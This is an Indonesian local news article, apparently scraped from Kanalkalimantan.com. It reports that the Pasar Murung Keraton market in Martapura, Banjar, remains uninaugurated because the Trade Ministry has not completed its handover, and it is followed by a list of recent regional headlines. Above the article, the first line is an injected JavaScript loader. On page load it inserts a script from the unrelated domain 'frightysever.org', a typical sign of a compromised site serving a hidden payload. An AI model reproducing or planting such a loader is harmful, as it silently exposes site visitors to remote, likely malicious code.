(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Terkendala di Kementrian, Pasar Murung Keraton Tak Kunjung Diresmikan


MARTAPURA, Usai dibangunnya Pasar Murung Keraton yang berlokasi di lingkungan Pasar Martapura tahun 2017 lalu, hingga kini proyek yang bersumber dari Anggaran Pendapatan dan Belanja Negara (APBN) tersebut masih tak kunjung diresmikan. Alasannya, terkendala di pemerintah pusat.

Begitu disampaikan Kepala Bidang Perdagangan Disperindag Kabupaten Banjar Jimmy kepada Kanalkalimantan.com, Kamis (13/6). Walaupun pasar tersebut tersebut sudah mulai dioperasikan sejak 9 April 2018, hingga kini masih belum diresmikan. Mengingat bangunan tersebut masih belum dihibahkan oleh Kementrian Perdagangan RI ke Pemerintah Kabupaten Banjar.

“Sebelumnya memang kita sudah ada koordinasi ke Dirjen Perdagangan Dalam Negri sejak April yang lulu mengenai proses hibah dari Kementrian Disperindag RI ke Pemerintah Daerah. Jadi prosesnya itu hingga sekarang sudah sampai di pengusulan dari Kabupaten Banjar, ” jelasnya.

Jimmy mengatakan, semua kabupaten atau kota yang menerima bantuan dari Kementerian Perdagangan di tahun 2017 itu dikumpulkan lalu pemberkasannya nanti diserahkan secara bersamaan ke RI 1 untuk ditandatangani secara bersamaan.  Menurutnya, itulah yang membuat lambatnya proses peresmian pasar hingga sekarang.

“Jadi alasan dari Kementrian perdaganan, di pusat sana seperti itu,  pemberkasan dilakukan dengan secara selekti,  terakhir kita komunikasi kemereka sekarang posisinya sudah sampai diminta menginput data untuk berita acara serah terima itu pada bulan Mei 29 tadi, seperti nama kepala Dinas, nama Dinas dan lain-lain,” katanya.

Pada intinya terang Jimmy,  pembangunan pasar yang menghabiskan dana Rp 6,6 Miliar tersebut, pihaknya sebagai Disperindag Banjar sudah melaksanakan proses-proses tersebut hingga sekarang. Walaupun proses proses itu sudah dilaksanakan namun dirinya tidak dapat memastikan kapan akan selesainya penghibahan Pasar yang dibangun dengan jumlah 234 bak tersebut.

“Yang jelas kami tidak diam di tempat. Kita masih fasilitasi dan bantu, namun kendalanya tidak di tempat kita. Namun kendalanya dari Kementrian itulah proses nya,  mungkin karena proses yang kolektif tadi, Kita juga tidak bisa memastikan kapan proses itu selesai mungkin 2020 nanti, mungkin saja,” pungkasnya. (Rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

7 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

9 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

10 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

14 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

16 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

19 jam ago

This website uses cookies.